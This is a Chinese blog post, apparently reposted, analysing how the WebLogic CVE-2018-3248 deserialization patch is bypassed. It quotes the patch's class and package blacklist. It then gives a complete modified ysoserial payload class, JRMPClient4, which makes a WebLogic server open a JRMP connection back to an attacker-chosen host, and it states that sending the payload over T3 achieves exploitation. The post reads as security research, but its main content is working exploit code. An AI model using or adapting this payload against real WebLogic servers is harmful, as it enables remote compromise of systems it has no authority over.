Java安全之Weblogic 2018-3248分析

Java安全之Weblogic2018-3248分析0x00前言基于前面的分析,后面的还是主要看补丁的绕过方式,这里就来简单的记录一下。0x01补丁分析先来看看补丁细节private

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Weblogic 2018-3248分析

0x00 前言

基于前面的分析,后面的还是主要看补丁的绕过方式,这里就来简单的记录一下。

0x01 补丁分析

先来看看补丁细节

private static final String[] DEFAULT_BLACKLIST_PACKAGES = 
{ "org.apache.commons.collections.functors",
 "com.sun.org.apache.xalan.internal.xsltc.trax",
 "javassist", "java.rmi.activation", 
 "sun.rmi.server" };

private static final String[] DEFAULT_BLACKLIST_CLASSES = 
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", 
"java.rmi.server.RemoteObjectInvocationHandler" };

对比上一个补丁添加了如下内容:

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

0x02 绕过分析

新的补丁添加了新的内容,将RemoteObjectInvocationHandlerUnicastRemoteObject都拉入了黑名单。

但是在新的漏洞给出的绕过方式是使用其他类替代RemoteObjectInvocationHandler类即可完成绕过。

绕过条件:

  1. 不在黑名单内(废话)
  2. 继承java.rmi.server.RemoteObject的子类

先来查看RemoteObjectInvocationHandler的继承。

Java安全之Weblogic 2018-3248分析

该类继承RemoteObject类,CTRL+H查找RemoteObject的子类。

Java安全之Weblogic 2018-3248分析

发现子类还是挺多的。下面更改一下yso内容即可绕过。

改动yso

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> {

   
    public Object getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
        return stub;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient4.class.getClassLoader());
        PayloadRunner.run(JRMPClient4.class, args);
    }
}

改完yso重写打包,将生成的payload使用T3协议传输过去即可绕过,利用成功。

参考文章

https://www.cnblogs.com/afanti/p/10256840.html

https://xz.aliyun.com/t/2479#toc-2

0x03 结尾

本篇内容较短,其实还是因为找不到补丁,分析起来没啥意思。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119887.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • A星算法说明「建议收藏」

    A星算法说明「建议收藏」A*算法说明文章目录前言原理说明如何构造h(n)h(n)h(n)一、欧氏距离二、曼哈顿距离三、其他关于g(n)g(n)g(n)路况设置如何实现完整的流程核心代码a_star.ha_star.cppmap_matrix.hmap_matrix.cpp代码使用示例GUI程序下载链接GUI程序使用说明前言  因为最近要写一个毕业设计,有用到自动寻路的功能,因为我要在一个机器里跑算法然后控制机器人自动按照路线到达目的地,所以用Python等解释型语言或Unity等游戏引擎写这个算法都不太合适,我使用的机器要尽

    2022年10月6日
    4
  • 谈谈privoxy:关于广告过滤和自动代理切换

    谈谈privoxy:关于广告过滤和自动代理切换转载自品略图书馆 http www pinlue com article 2020 04 0206 031010213243 htmlprivoxy 广告过滤和自动代理切换最初用 Privoxy 是因为七星庐的文章强大的代理调度器代理 Privoxy 用作代理切换 后来顺便也用起它广告过滤的功能 能实现这两个功能的软件 插件很多 而且用起来往往比 privoxy 来的方便 比如 foxpro

    2025年6月8日
    4
  • 12年3D建模师的感悟—写给还在迷茫中的朋友

    12年3D建模师的感悟—写给还在迷茫中的朋友不知不觉,从事3d行业已经12年了。今天想把这么久以来积攒的3D建模的学习经验彻底讲一下,希望能对你有所帮助。1.什么人适合学习3D建模?这个问题我曾经回答过,目前来看,闲来无事的大学生,目前做着和3D建模有关工作的人,比如雕刻家,和30岁以下想要转行的人都是适合的。至于其他人群,我是不推荐的,比如高中生之类的,或者年纪太大的。前者推荐上个大学,后者推荐找个轻松一点的工作。2.3D建模的职业规划怎么样?如果是大学生可能要好一点,有机会进大厂,如果是半路出家,可能游戏外包工作室就是归宿。当然也不

    2022年5月12日
    54
  • MMC卡的详细介绍

    MMC卡的详细介绍1.了解MMC卡MMC卡是有由美国SANDISK公司和德国西门子公司在1997年共同开发研制的一种多功能存储卡。MMC卡采用7针的接口,主要应用于数码相机、手机和一些PDA产品上,价格相对较贵。MMC卡在一定程度上改善了CF卡读写速度较慢的缺点,并且体积轻巧,尺寸为32mm×24mm×1.4mm,重量不足2克。其抗冲击性强,可反复读写30万次。MMC卡4.0标准提供了更宽的数据

    2022年6月6日
    179
  • PAT乙级题目答案汇总 PAT (Basic Level) Practice (中文)[通俗易懂]

    PAT乙级题目答案汇总 PAT (Basic Level) Practice (中文)[通俗易懂]题目列表:标号题目链接分数博客链接完成时间1001害死人不偿命的(3n+1)猜想151001害死人不偿命的(3n+1)猜想(15分)2020/8/01

    2022年5月29日
    38
  • Android百度地图接入

    Android百度地图接入

    2021年9月30日
    46

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号